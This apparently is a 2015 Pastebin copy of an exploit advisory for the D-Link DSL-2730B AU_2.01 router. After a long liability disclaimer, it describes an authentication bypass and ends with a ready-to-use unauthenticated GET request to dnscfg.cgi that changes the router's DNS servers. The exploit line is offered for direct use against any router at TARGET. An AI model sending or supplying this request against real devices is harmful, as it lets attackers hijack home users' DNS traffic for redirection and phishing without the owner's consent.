Advertisement
hackerscommunity

D-Link DSL-2730B AU_2.01 auth bypass dns change vuln

Jul 14th, 2015
358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.58 KB | None | 0 0
  1. #    D-Link DSL-2730B AU_2.01
  2. #  Authentication Bypass DNS Change
  3. #
  4. #  Copyright 2015 (c) Todor Donev
  5. #  <todor.donev at gmail.com>
  6. #  http://www.ethical-hacker.org/
  7. #  https://www.facebook.com/ethicalhackerorg
  8. #
  9. #  Disclaimer:
  10. #  This or previous programs is for Educational
  11. #  purpose ONLY. Do not use it without permission.
  12. #  The usual disclaimer applies, especially the
  13. #  fact that Todor Donev is not liable for any
  14. #  damages caused by direct or indirect use of the
  15. #  information or functionality provided by these
  16. #  programs. The author or any Internet provider
  17. #  bears NO responsibility for content or misuse
  18. #  of these programs or any derivatives thereof.
  19. #  By using these programs you accept the fact
  20. #  that any damage (dataloss, system crash,
  21. #  system compromise, etc.) caused by the use
  22. #  of these programs is not Todor Donev's
  23. #  responsibility.
  24. #  
  25. #  Use them at your own risk!
  26. #
  27. #  This security hole allows an attacker to bypass
  28. #  authentication and change the DNS. When the
  29. #  administrator is logged in the web  management
  30. #  interface, an attacker may be able to completely
  31. #  bypass authentication phase and connect to the
  32. #  web management interface with administrator's
  33. #  credentials. This attack can also be performed
  34. #  by an external attacker who connects to the
  35. #  router's public IP address, if remote management
  36. #  is enabled. To change the DNS without logging
  37. #  into web management interface use the following URL:
  38. #  
  39. GET http://TARGET/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement